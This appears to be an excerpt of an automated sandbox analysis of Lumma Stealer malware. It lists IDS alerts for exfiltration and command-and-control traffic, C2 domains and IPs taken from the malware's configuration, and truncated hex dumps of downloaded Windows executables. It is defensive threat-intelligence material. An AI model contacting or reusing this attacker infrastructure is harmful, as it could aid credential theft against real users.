Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49914 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50066 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50066 -> 188.114.97.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor URLs: fadehairucw.store
Source: Malware configuration extractor URLs: thumbystriw.store
Source: Malware configuration extractor URLs: necklacedmny.store
Source: Malware configuration extractor URLs: scriptyprefej.store
Source: Malware configuration extractor URLs: crisiwarny.store
Source: Malware configuration extractor URLs: presticitpo.store
Source: Malware configuration extractor URLs: navygenerayk.store
Source: Malware configuration extractor URLs: founpiuer.store
Source: Malware configuration extractor IPs: 185.215.113.43
Connects to many different domains
Source: unknown Network traffic detected: DNS query count 33
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:06:33 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:06:36 GMTContent-Type: application/octet-streamContent-Length: 1904640Last-Modified: Thu, 31 Oct 2024 04:05:08 GMTConnection: keep-aliveETag: "672301f4-1d1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 5d 1c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 ff 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 ff 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 78 7a 66 77 73 79 69 00 00 1a 00 00 10 31 00 00 f4 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 76 75 62 62 72 6b 67 00 10 00 00 00 10 4b 00 00 04 00 00 00 ea 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4b 00 00 22 00 00 00 ee 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:07 GMTContent-Type: application/octet-streamContent-Length: 2928128Last-Modified: Thu, 31 Oct 2024 04:04:47 GMTConnection: keep-aliveETag: "672301df-2cae00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 c5 e5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 73 77 66 72 77 68 78 00 00 2a 00 00 b0 05 00 00 f4 29 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 79 70 76 64 76 73 61 00 10 00 00 00 b0 2f 00 00 04 00 00 00 88 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 2f 00 00 22 00 00 00 8c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:16 GMTContent-Type: application/octet-streamContent-Length: 2120192Last-Modified: Thu, 31 Oct 2024 04:05:01 GMTConnection: keep-aliveETag: "672301ed-205a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 00 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 72 00 00 04 00 00 42 62 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 76 79 71 77 72 6e 75 00 b0 19 00 00 40 58 00 00 a8 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 73 6c 6d 6f 6c 74 70 00 10 00 00 00 f0 71 00 00 06 00 00 00 32 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 72 00 00 22 00 00 00 38 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:26 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 02:58:24 GMTConnection: keep-aliveETag: "6722f250-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 f2 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 12 c3 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:30 GMTContent-Type: application/octet-streamContent-Length: 2809344Last-Modified: Thu, 31 Oct 2024 02:58:51 GMTConnection: keep-aliveETag: "6722f26b-2ade00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 63 78 67 76 69 6e 73 00 80 2a 00 00 a0 00 00 00 7c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 6c 76 74 74 61 6c 00 20 00 00 00 20 2b 00 00 06 00 00 00 b6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 bc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:33 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 